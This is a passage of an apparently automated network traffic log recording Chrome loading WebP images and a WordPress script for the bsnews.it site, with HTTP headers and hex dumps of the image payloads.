4f ed e5 a3 81 b2 cd 61 49 7f eb 9b 1c 01 9f 03 3b be 21 97 e4 Data Ascii: `h Z o Xq2F%loj,qChE%6UMR5m9/0[UCoY[/kPuWy4_e0M1\m#!Df"P7kqa~\=&\|%5\w?9!RhQR"5KMt :Eh[Jq\|"OaI;!
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 8c f8 c4 c7 3f 96 a1 11 b4 48 3a aa 96 63 52 c3 56 23 04 0c 51 0e 0d 11 f3 3e b2 7f 66 e4 a9 01 7f a3 c9 bb a5 38 1b 3c 2a dd f3 1d 1d d8 21 6d fc 3e 2c 8a 40 89 a8 c6 19 a3 71 d0 5d 13 be 64 7e 08 65 a6 60 b2 49 a6 2f 84 94 2d 69 05 f2 b1 63 d6 53 31 c1 c9 9e 27 19 e0 24 76 5e 6f 78 70 3e 90 dd 23 b5 c9 0d bc 73 47 89 0b 79 3d 16 05 1a 94 56 5a 45 46 5f ed 89 af ff c4 ee 5d ab 8b ce 6c 3b a7 46 51 04 a4 7f d7 3f a1 2c f8 68 20 60 91 9e ca ac 0a 50 8f ec 67 92 2c 01 f6 e1 8a 49 11 51 60 fd e5 13 9c 72 22 75 9e e2 8c 84 82 8c 6a fe 15 3d f0 8a ab 76 d0 38 9c 70 7c 3e 6a c9 22 f0 9c 2e a4 ca ea d9 22 a1 85 28 69 74 8e 8f 10 eb 07 3d ff 55 43 29 02 07 c0 c4 26 d5 82 f7 08 c5 7e 8d 3f de 39 fd 7b 75 27 dd 4b bd 4c ff 6a f6 01 ca d7 ce 16 d3 c2 3f a8 95 f3 46 Data Ascii: ?H:cRV#Q>f8<*!m>,@q]d~e`I/-icS1'$v^oxp>#sGy=VZEF_]l;FQ?,h `Pg,IQ`r"uj=v8p\|>j"."(it=UC)&~?9{u'KLj?F
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 6a 53 79 9a 62 23 7d fa 0d b8 8c 68 9d 95 1c 16 08 e8 3c 99 99 ab 60 65 f0 14 c5 6e 93 5c a6 94 4f 01 2f 91 bb af 71 de e2 55 84 a8 d9 0c 24 6b 50 11 a5 e4 3a e2 80 1e 2c 38 08 4f 37 27 6a a8 b6 72 ba c8 b2 fb 66 51 6c 35 61 52 0b 11 d8 7a f3 62 6e ba 68 00 90 6c 8b 2a ee 81 a0 c1 81 40 4d fe 24 55 ee 0a ae e2 fa 9e 90 b1 54 06 49 fb b2 59 69 31 54 41 cf 67 d8 48 26 89 71 a2 52 61 b5 77 27 c2 1c f7 ee 7a 6b 40 17 84 dd e3 2e 90 c7 cc 96 cd 2c 2b 9a b7 e8 0e be c2 3b 06 83 eb 9d 16 7d f5 c2 4d 4f 36 20 ec 3d 2f 4c 3d 22 1f 70 c7 49 2b 02 2e f6 a0 7d 10 65 57 37 d6 cf dd 93 9c f9 e2 51 2b 09 36 f2 ec 45 ae 1e fa 22 eb 6c 97 4d 3e 2a ae bc ce 63 e7 7d cd 32 77 08 9e 5f 43 ae da a6 03 e2 1b 26 90 e0 9e fa 1a 0a ef 6d 40 3f 5e 7a b5 f7 79 c5 8b 21 66 df 83 c1 Data Ascii: jSyb#}h<`en\O/qU$kP:,8O7'jrfQl5aRzbnhl@M$UTIYi1TAgH&qRaw'zk@.,+;}MO6 =/L="pI+.}eW7Q+6E"lM>c}2w_C&m@?^zy!f
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: e9 2f 54 19 e2 9e 2e aa 73 81 24 24 33 a0 64 bf 2b 31 60 8f 85 08 ac 2a 29 fd f6 a7 6b 84 5d 34 df 9c 77 97 45 fb da 87 97 02 5c 9b b2 e6 9e e4 a5 0b ea 92 0d 77 3f 56 e9 37 3a 94 54 a6 a6 15 d9 e0 f8 11 af b7 0f fa 35 89 3f 57 75 00 78 f6 36 83 fb 97 34 0d 87 68 22 22 c6 2b 92 66 3c 5c 7a d0 6e 44 aa 44 12 1c 6b ed 2c 63 d3 0e 37 c1 76 39 86 6b 5d 32 91 f7 92 36 ea c0 7d 94 9f 60 04 ec 0b c3 0f ad d6 a0 c3 e7 32 a5 17 1c e5 27 5a 23 aa a2 6a 68 ee 8d 37 8b fb fb 88 33 5a 0b 5b a0 87 ab ee 82 55 e4 a5 aa 56 39 41 86 8a 82 d3 40 b0 65 22 58 69 46 03 76 71 40 b5 e6 2f ba 68 db 2d 29 86 00 7e 43 85 20 53 c1 6e 1d c6 15 55 8f 13 d3 c8 04 c3 95 40 1e 27 24 fb 60 4e 8a 72 72 bc 80 5d 38 34 b2 fe 25 8c 17 a2 67 43 89 32 a3 34 ce 15 a5 9e ad 1c 8d ec b0 d0 37 5f Data Ascii: /T.s$$3d+1`*)k]4wE\w?V7:T5?Wux64h""+f<\znDDk,c7v9k]26}`2'Z#jh73Z[UV9A@e"XiFvq@/h-)~C SnU@'$`Nrr]84%gC247_
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 29 57 88 3a d7 b4 15 a6 bb dd b7 be b3 86 71 b7 7c 0c ef 24 f0 88 8b 66 08 16 44 fa fe a4 c7 cd f1 9a 93 fa ed 73 d5 9d 9e f7 29 ec 44 8d 4c c0 f6 ab 71 57 34 9f c9 65 b1 75 77 55 53 3f e2 26 9e 5b 8e fb 9a 32 fd c2 d1 b9 78 52 95 de 76 62 28 57 20 9b 5d e6 4f 13 b3 c4 74 53 d8 35 0a 7f ab d1 9d cb 2b 05 82 19 50 c2 b3 3c f3 d1 49 77 53 35 84 ed 59 be 32 d8 b6 41 b9 d8 48 6c b2 f7 e8 9e 91 2a 40 da 8d ee 06 25 b8 62 9f 16 1d 23 22 b3 31 e2 50 41 ee 45 1c 35 e7 f1 b5 65 af ab ed 53 a3 9c 6a 77 5d 54 79 29 1d 6c ea 5b aa 90 48 e2 99 16 d6 0d ed c0 ef ff b2 e4 d0 10 cb 66 30 83 55 ad e5 2a 0d 7e 31 ae 54 13 48 09 0d 7a 72 d0 61 48 76 88 81 4e d7 10 5c 9c 4b c9 a2 f1 5f 1c 6c da 9c ec cf 98 b8 73 53 87 5e cb 0e bc dd 41 3a 8d 41 92 ee 86 8e fc 34 ca f5 5d 26 Data Ascii: )W:q\|$fDs)DLqW4euwUS?&[2xRvb(W ]OtS5+P<IwS5Y2AHl@%b#"1PAE5eSjw]Ty)l[Hf0U~1THzraHvN\K_lsS^A:A4]&
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 3b 08 33 95 cc 91 f9 bc e6 2f 9a 9b 11 38 33 d1 2b 64 da c3 73 b2 ef 5e 73 d1 cd 00 c8 a0 04 7d a6 de f4 84 25 65 2b ee b7 4e 2a c4 5b 3d 84 1a 15 9e 04 12 f3 cc 6c 08 8e b2 b4 b4 62 9b 33 7b 3c b9 a2 a8 73 90 18 57 a5 ad 06 9e fd 8b 3a 16 8c 18 bd 31 19 50 20 41 3d 48 38 e4 de e0 e7 b6 5f 80 90 be 12 35 0f 74 01 87 37 93 36 40 38 db 2f 4d f4 48 7d 30 a8 88 09 a2 80 a6 60 5e c0 c2 f4 7c f1 a4 c6 f5 ec 0f 46 2b 31 cd 06 1e c6 b3 6b 5f 5d de 5c 57 41 71 a1 bd 8d 77 7c 4d d2 cd 4e 37 05 97 d4 60 97 cc 06 3f 54 23 65 86 ab 3d e2 93 b4 17 ea 59 9f 4d 4f 3c c6 03 57 d2 f6 5d cc f2 11 bc 6e 40 28 a8 9a cd 00 2b 1d bc ca 75 d6 62 b5 32 88 95 58 dd 5b b2 b6 e1 78 ad 30 4c fc 3f 7a 8f a7 2b be c6 02 73 2b 23 3a bd 52 17 b6 e3 b0 d0 fe 43 e6 1e 4e b3 7a 6a 06 10 37 Data Ascii: ;3/83+ds^s}%e+N*[=lb3{<sW:1P A=H8_5t76@8/MH}0`^\|F+1k_]\WAqw\|MN7`?T#e=YMO<W]n@(+ub2X[x0L?z+s+#:RCNzj7
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: df ea 8a 0d 2b da 53 c0 d2 fe c6 c5 88 15 d7 8b 40 a4 8b 53 f5 99 cb 0d b3 e8 f2 e9 36 3c 5f 95 f9 5d cc 56 b5 ec 28 d1 53 43 10 b1 b4 e6 47 fd d9 f8 2a ac 7d 45 70 e9 a2 4e 5d 63 3b 53 d3 b1 82 19 e2 f8 e5 0d b3 a2 7e c6 38 2e ae ca 64 24 66 10 d4 49 be af 94 6a 7e 75 9e 43 1f 64 7f 96 b8 7d e5 33 ed ae cb 82 44 5c bc 9d 08 21 20 62 ba 2e 97 ac 24 eb c5 9e 1b 6f 49 a5 4a 82 f2 02 1d ab c7 e6 3d a5 74 4d 55 7c ae 2e d0 94 98 a5 56 b0 45 29 5d ea ca 92 2d 80 ab 75 87 8f 81 0e d9 1e a2 ba a3 4d 1b d4 21 de 11 4d 9b 9d e6 52 c8 03 cf f4 07 d5 fb ac ce d3 d5 15 a9 bc 31 99 f4 81 71 b9 ec ef f6 e1 7f f6 ba 5f 1d 46 f1 c3 22 0b ce d9 ed 30 4c e5 5f 1f fd 51 b2 9f 14 91 da a0 59 f1 89 c4 98 ce ac b2 57 61 61 b1 10 ea 3f b4 2d 60 a5 26 df a3 2d 74 26 f6 78 f9 6d Data Ascii: +S@S6<_]V(SCG*}EpN]c;S~8.d$fIj~uCd}3D\! b.$oIJ=tMU\|.VE)]-uM!MR1q_F"0L_QYWaa?-`&-t&xm
2024-03-28 08:51:04 UTC	808	IN	Data Raw: 76 c2 f1 e5 0f ea 0e 67 81 b7 35 f4 18 cf 01 a0 a2 59 d2 b3 5c a5 ae 2a 8d 06 92 79 bb 80 22 78 bd 55 bd b9 96 1a 3b 73 cd 4e 05 5b 5e 0a 42 d2 24 7b 49 ba 5e a4 ba be dd f5 27 cb 31 3c 3a 2e 61 55 c1 42 29 07 80 10 c4 2b 1d 04 db 42 ef a8 c3 6c 30 5f 35 fb 20 9e ca da 1d 69 42 eb db 03 26 7e a7 fd 4a 4f 37 66 db bb 90 f6 6d cc 7d 0a c5 77 d8 80 c9 d5 b9 5a d4 b5 21 2c a1 35 86 e9 9a c3 c1 ee a8 5e ca 10 fb db 7f c4 3f 6a c2 27 50 bc b4 28 37 50 04 b7 39 4e ed 17 6e 81 f9 f4 86 4b 4a 57 c4 30 b5 94 86 2a 44 5a 32 bb 59 7b 6c 6e 3d 2c 04 52 af 29 e8 5f 33 96 98 f0 6b 24 33 f3 1b e1 0d 6a 9c 4b e1 96 eb 65 b9 89 bc 41 2b 66 df e4 f2 a7 f0 ce 72 6c 10 c5 28 54 41 d8 8c 3e 57 9f b2 9e 08 41 10 ca 61 d4 a6 b3 a5 59 60 1d 5b 1e 35 e5 99 79 a6 2a 88 80 25 a8 7b Data Ascii: vg5Y\y"xU;sN[^B${I^'1<:.aUB)+Bl0_5 iB&~JO7fm}wZ!,5^?j'P(7P9NnKJW0DZ2Y{ln=,R)_3k$3jKeA+frl(TA>WAaY`[5y*%{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49814	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:04 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_0323.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:04 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: image/webp Content-Length: 5478 Connection: close Last-Modified: Wed, 27 Mar 2024 17:20:08 GMT Expires: Sat, 28 Mar 2026 05:20:08 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_0323.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "ba1f4e07824c75b7" Vary: Accept X-nc: HIT dca 5 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:04 UTC	798	IN	Data Raw: 52 49 46 46 5e 15 00 00 57 45 42 50 56 50 38 20 52 15 00 00 b0 6d 00 9d 01 2a 44 01 a0 00 3e 6d 34 96 47 24 23 27 a8 26 74 fb 79 00 0d 89 40 e0 72 13 7f f8 b6 cd ce ba 71 87 f0 3f 24 bf 15 7e 7b ed df e8 ff 15 73 c9 a0 4e db 7f 87 f7 1b f1 0f d7 07 98 57 3f cf 32 3f b3 1f b7 5e ee fe 91 bf 67 ff 10 3e 42 ff b7 ff 4f eb 86 f4 0d fd 84 f4 ed fd aa f8 91 fd d4 fd c0 f6 b0 ac e9 d4 f8 ed dc 86 d7 14 03 9f 96 e4 24 f0 96 e4 3c 6f 84 d7 4e d8 fc 4f 31 5e ab 2a 77 e0 e6 f8 09 15 93 65 13 76 c0 77 c1 6b a8 c3 48 7c 98 91 45 82 83 ab 47 2e 18 d5 f7 e0 da c8 80 8e 8c 13 ed 01 8c 2f 02 53 6b 71 7f fb c3 4c 67 c6 5b f1 32 de fc 07 3f a2 14 87 f8 5c 3a 48 9f ad ef de 9f cb 3e 8b ec 31 a3 92 69 5a e6 17 b4 9a 84 d9 81 04 f9 dc 4f 86 62 43 1a 63 20 09 08 fb 5a f3 1e 99 Data Ascii: RIFF^WEBPVP8 RmD>m4G$#'&ty@rq?$~{sNW?2?^g>BO$<oNO1^wevwkH\|EG./SkqLg[2?\:H>1iZObCc Z
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 19 1e 26 54 9c f2 8b 5b 9f 59 f2 18 ee 27 25 d3 ae c7 a3 78 54 19 8f 0c 34 6b 29 86 c0 57 24 0e 14 43 ec 35 96 c9 1f b6 a1 84 ad eb c5 9b 99 84 4e 7d ce e1 03 82 65 ee 5a 25 7f 28 e6 9c 4d 2a 1f 29 cb 59 fe 72 11 44 79 2e 0d 35 c5 d3 65 5c d7 94 48 84 85 56 e4 7c 1d 87 a1 e1 fe 26 f3 89 91 32 83 49 38 9d 07 a2 2c 02 88 00 00 fe fa 8f d5 e0 1c 97 ff 78 81 e3 97 47 b9 d8 4f c8 93 b4 a5 d3 1b 77 4c 3f e3 21 45 ff e0 5a 2f f1 cd 33 49 88 31 ad aa 57 97 6f 2e 17 d9 5a d7 54 5e 17 00 ab 27 d9 30 16 1b e5 08 a7 b3 65 91 b3 6b fa f4 e7 02 43 4e 42 56 f1 81 d7 cf 1a bb 5c f7 64 f5 76 46 a7 d9 6e 86 df f4 24 ad 6d cc 67 b7 3a c6 bf e6 d1 ad e7 c0 1b ef 0f 73 b3 94 eb 68 f1 13 1f 6d 4a 6e 2e d7 8c fd 0c 64 10 13 33 98 6d 1e e0 09 6a 75 f2 ad 92 ec 69 3d fc db be 47 Data Ascii: &T[Y'%xT4k)W$C5N}eZ%(M*)YrDy.5e\HV\|&2I8,xGOwL?!EZ/3I1Wo.ZT^'0ekCNBV\dvFn$mg:shmJn.d3mjui=G
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 1e 6e eb 90 12 a9 66 44 70 bb 8c 37 99 ed 51 71 4a 90 c1 15 2e 63 fc 21 55 51 39 54 bd f8 0a 00 8b 07 f6 7d d5 3b 47 a5 9f 7d 5f e0 63 ad 09 05 6a 20 f6 72 25 dc 69 e9 73 b3 c2 a9 ed 4a c6 3d ad 7a 5c 6f 89 c2 b5 eb 55 ee da 82 92 5b b3 57 06 86 f6 01 04 3f f0 1e e1 e5 44 9b b5 50 3e 1d 6d 15 2e b8 3f 88 7f 0e a1 07 e3 e2 7b 95 16 98 a2 5a 99 d4 89 43 93 7a 1c 84 0f d4 25 2b d9 da 9d 7e f1 9a 97 00 0f ea 4e 64 9c 34 bc 33 91 0b 41 12 84 5e e7 6d da 5e 29 ff f3 68 bb 81 f9 9b 20 74 f7 ab 8b 96 66 83 96 0a 0e 97 a2 b1 fb 9c 8c 7e ec 12 87 ec 36 c2 de da af 79 4b d2 a1 0f 2b 0d 60 03 c8 ea f3 a5 67 30 f2 37 a4 59 ba e3 5c 9b 2e ac 65 0d 3a 67 ab 4d f0 86 14 ad b7 e6 b2 ec 3a 5e af d4 94 60 69 3c 5e 71 9d 5a 6e 12 7d 15 95 c9 bb 9a c3 7f 57 c9 21 d8 0e ea 4d Data Ascii: nfDp7QqJ.c!UQ9T};G}_cj r%isJ=z\oU[W?DP>m.?{ZCz%+~Nd43A^m^)h tf~6yK+`g07Y\.e:gM:^`i<^qZn}W!M
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 50 a7 27 dc 39 48 f9 30 43 d3 eb 24 4f 99 03 d4 56 cc 57 b9 99 82 cd 62 03 8e 9d 18 78 c3 57 92 4d e2 2c 73 81 1c f0 42 d5 ce 86 5d 30 d7 ca b0 e1 1b 44 c3 83 50 d8 3f 9f 0f e4 ce 2e bb c8 f9 cc 42 e5 50 4a 0f 90 5c 71 55 db d6 67 11 be 99 c3 f2 25 04 31 8e 05 65 66 96 db de d0 9a 25 3d ec 00 7d 9a bd ca 2f c9 bd d4 2c 62 53 49 21 e0 8f 38 09 a9 88 74 7d 1e 0a 77 dc ae 34 67 d2 13 97 b8 59 2e 21 7a 65 61 31 d8 7b 66 64 26 0e e5 cd 4e b1 96 25 86 db 1b e9 fe 8f 05 58 ee 0b 34 98 0a 9f 4d 1f 8a ae 40 fb d5 36 44 c4 a0 a2 0b 9b 23 be 80 2a 6a c0 dd 0a 33 3c 67 ca 75 61 95 e7 4f 0f ba ac 33 3d 99 33 ff 69 fa fa 3c 17 3c 7e d0 6d 9c ea b9 fa 98 7e 7c c2 41 9f 8d c6 a2 51 fc 76 8d 1e 9f 81 2d 56 08 ae 87 32 31 57 cf e9 ed eb 51 59 6a d8 91 8d 14 99 1f 15 22 35 Data Ascii: P'9H0C$OVWbxWM,sB]0DP?.BPJ\qUg%1ef%=}/,bSI!8t}w4gY.!zea1{fd&N%X4M@6D#*j3<guaO3=3i<<~m~\|AQv-V21WQYj"5
2024-03-28 08:51:04 UTC	573	IN	Data Raw: 22 84 b1 06 8d 1b d5 71 6d bb 12 91 14 c1 43 8f 3f c6 38 8b d9 80 6b c9 90 ad 58 d0 1b 14 06 4e 71 6b f0 97 88 27 c2 ce ad cc 2e c9 c9 ff 7a 4c 7b ee 69 e5 3a 53 81 55 e2 1f 71 85 38 03 45 6e a5 de 7a 8c 4c 89 8a d2 12 f9 81 41 68 37 59 28 fc 02 c2 9e c1 03 b9 43 59 23 e9 b5 17 93 f5 ed 54 0c 29 0a ce 4f bf 1f 74 c0 09 8e 4a 73 0c fb 93 50 50 61 92 e8 e5 5b e7 3c 9e 09 42 22 ea 16 23 98 18 74 45 73 bd 61 bd 99 a5 6a 16 fd 87 40 87 fa 7a b5 47 10 da 23 3b 0e 5c 07 f7 98 11 b6 8d f9 9e 85 fa 39 35 1c 71 a6 e1 fa d0 a1 d2 62 b9 76 78 bb a3 6b 01 d2 1c ef c5 c1 2e 92 6d 42 29 4d af d8 00 e3 a0 cf 5c 61 d4 78 f2 5c 63 9a 83 10 e1 64 37 ff 92 b8 67 97 d7 ff 9d 68 7c 11 1a ee ca 4c b2 15 eb b6 83 a4 33 d5 e4 2e e4 9b 80 dc 5b c4 f6 70 f8 0d b6 23 01 47 a7 3a cf Data Ascii: "qmC?8kXNqk'.zL{i:SUq8EnzLAh7Y(CY#T)OtJsPPa[<B"#tEsaj@zG#;\95qbvxk.mB)M\ax\cd7gh\|L3.[p#G:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49815	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:04 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_0381.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:04 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: image/webp Content-Length: 4588 Connection: close Last-Modified: Wed, 27 Mar 2024 17:20:08 GMT Expires: Sat, 28 Mar 2026 05:20:08 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_0381.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "993fa2f8ad0ee180" Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:04 UTC	798	IN	Data Raw: 52 49 46 46 e4 11 00 00 57 45 42 50 56 50 38 20 d8 11 00 00 f0 69 00 9d 01 2a 44 01 a0 00 3e 6d 32 95 48 24 22 a2 25 a7 92 aa 18 b0 0d 89 67 6d eb c8 92 0a fa 99 01 07 ed c9 79 61 57 08 ed c4 1e 60 31 e3 69 93 5f 8c a5 b7 9f 1a 72 34 00 fd 31 e8 d3 a3 b7 af f8 12 13 5e 39 1c f9 9a d0 41 c1 fc a7 91 18 ba 83 61 3c c5 e5 62 a6 7f 23 00 1b d3 44 b5 67 91 37 18 d7 14 3b 79 f4 45 1a 97 12 8f 01 c7 e9 d1 54 f3 07 ca a0 d2 95 a5 08 eb 2b e4 53 3d b5 ff b2 fb 7e f2 fe 4a 2c ce c2 62 d5 ae 1d 25 48 b6 67 6f 65 2c bd bd fe a3 40 d4 ca c1 6a 92 cf a1 4c 69 ff 33 f7 0d 72 02 b7 eb 20 c8 68 12 79 4d 27 9e 1d cb c2 5b 42 6b 75 5a fb ae fb 8a 9d 46 b7 55 a7 61 d3 ad 94 aa 31 4a 00 db 13 5a bb 49 a4 b4 ab 84 0c bb 3d 85 a3 dc bd 73 0c 36 00 8e 33 e9 e0 a8 5f 95 65 2d 00 Data Ascii: RIFFWEBPVP8 i*D>m2H$"%gmyaW`1i_r41^9Aa<b#Dg7;yET+S=~J,b%Hgoe,@jLi3r hyM'[BkuZFUa1JZI=s63_e-
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 14 5d 17 54 75 17 e7 06 32 63 0b 7b 2f 4b 27 d3 22 52 3a 86 ae b6 51 4a 56 ea 83 d2 99 e6 f0 c8 16 41 01 4f 9a 19 6e 7b 5c 7c ba 30 18 29 e7 4a c8 11 5b 3f 32 cc 84 eb 19 35 ee 15 b7 14 50 ad 5c a5 b0 6d c4 6b d0 3c 59 de 55 60 74 00 00 fe ef 27 31 65 27 68 df a4 3f a7 37 24 15 ac 65 08 e3 72 46 a2 31 c5 11 2f 0c eb e3 46 a3 c4 40 3f 6b 23 cd c6 89 74 64 64 55 7c c6 09 ea ea a2 86 f9 d6 47 76 15 cf 48 3c a5 d4 c0 46 4d 1d 84 f8 68 7f 04 62 de df 65 ff 48 f6 de 7a 2f 9f f4 7b 0c 1c ea f1 bd e3 5b ed 80 7f 81 6d cd ed ab 6b 17 ff 8f 68 57 e6 fd a4 aa 46 4b b9 97 27 74 db f0 09 00 c5 11 ea 96 c2 38 cd 24 1c b9 63 a5 c1 42 95 93 62 eb c6 c8 97 66 43 ca 69 b3 12 67 c3 82 52 d2 7a 7b c6 4b f6 0f 07 ec a6 87 1a 89 d3 7e a7 b9 34 62 dd 88 e6 49 fb c1 a5 f5 66 c1 Data Ascii: ]Tu2c{/K'"R:QJVAOn{\\|0)J[?25P\mk<YU`t'1e'h?7$erF1/F@?k#tddU\|GvH<FMhbeHz/{[mkhWFK't8$cBbfCigRz{K~4bIf
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: aa 5c 62 1b 53 bc 6d d2 75 22 5d d4 4d 9e 10 b1 35 eb 3e 6c 74 70 3f 59 f1 ec 3f 49 84 dc c0 8f 48 d7 15 ba 1d ef 9a e0 70 ab 6f 80 21 0c 6e c3 6a b3 be 4f da ff 06 8a f3 3a 8c e4 56 11 8e 38 a9 7b e2 0f 77 4f a7 cd 34 d5 8c 0c 3a 81 20 09 03 f3 52 0e 1c f2 0a a4 6f fc 17 ba 6a 9b 08 0a 53 49 8a 46 63 60 84 d3 e5 18 14 ee 9c b1 ac 04 b3 ac 9b 51 1a 9a 58 90 c7 76 d2 c3 c6 bf 46 8b d3 6b e4 cd a1 8b 53 7d 22 de b3 5a b8 3a 65 2e e6 97 f5 c6 1b 53 ab 3e 9c 18 cd c6 4f 80 84 a1 41 b9 16 3a 03 f6 f0 09 d5 7c 03 fd a7 79 7f f4 00 c2 eb fb d7 8a bc 52 5b 64 1d 23 04 2e ba e2 9e 41 ba 98 ab 80 b4 6e 54 ab 89 03 80 6b 54 05 00 45 53 56 2f f3 58 09 c3 1c ca b7 53 78 5d 79 5a 24 e0 54 32 42 42 0b 7c a3 ed 37 ce 83 d5 32 2b 66 06 09 ef 0b f7 3b b8 99 51 d1 16 18 56 Data Ascii: \bSmu"]M5>ltp?Y?IHpo!njO:V8{wO4: RojSIFc`QXvFkS}"Z:e.S>OA:\|yR[d#.AnTkTESV/XSx]yZ$T2BB\|72+f;QV
2024-03-28 08:51:04 UTC	1052	IN	Data Raw: 6a 27 ae eb 1b fa 91 4e f0 eb 91 3e e0 fc 3c 6f c5 89 6a 9e a9 d8 a8 fa 0f 7a 27 98 6f 99 65 ed e8 84 38 4c 5c b7 3b 98 9e 23 1e f6 03 29 8a 84 04 f9 42 cc 91 11 24 75 cd 65 ec 78 1b 1d 26 6c 85 e4 41 5a 70 8a f9 24 5c f0 59 d9 72 ac 5f 56 a6 30 79 c7 ba c3 5a 7c 3e cf f8 6f c1 00 a0 09 34 d1 4c 15 53 3a 2a 8f 66 23 54 d7 02 58 fa 9d 5c 55 ab b5 6d 0c 4e 63 d1 7d 60 d5 af 49 a1 a0 26 7d 9c 61 6b 13 f5 d2 99 c5 d2 f3 e4 0f 43 44 3f a6 7a f8 15 05 c5 a8 51 f3 3d 7e dd 5d c5 54 e4 62 8e 07 20 fd fe 26 9b de a6 80 da a2 08 2e 4c 84 c1 0c c5 71 76 71 35 f7 93 54 60 47 e8 1c 74 56 bf 8f 44 82 fe 86 28 68 a0 d6 bd 6f 96 35 c3 7c ea 5e a3 20 5f 51 9b 8c 8a d4 56 db 48 14 9a 62 bc a9 04 ad 15 43 3e ef 96 14 35 43 e4 b3 46 f6 25 59 fd e1 c7 cc 89 a3 54 33 3d 35 d8 Data Ascii: j'N><ojz'oe8L\;#)B$uex&lAZp$\Yr_V0yZ\|>o4LS:*f#TX\UmNc}`I&}akCD?zQ=~]Tb &.Lqvq5T`GtVD(ho5\|^ _QVHbC>5CF%YT3=5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49816	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:04 UTC	545	OUT	GET /c/6.4.3/wp-includes/js/comment-reply.min.js HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:04 UTC	533	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: application/javascript Content-Length: 2981 Connection: close Vary: Accept-Encoding Last-Modified: Fri, 08 Apr 2022 20:07:18 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:51:04 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 1 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
